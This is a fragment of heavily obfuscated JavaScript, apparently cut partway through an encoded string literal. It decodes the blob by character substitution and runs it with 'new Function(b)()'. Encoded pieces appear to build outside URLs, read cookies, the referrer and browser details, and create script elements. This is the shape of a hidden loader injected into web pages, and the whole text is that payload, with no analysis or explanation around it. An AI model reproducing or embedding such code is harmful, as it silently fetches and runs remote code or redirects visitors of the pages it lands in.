wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();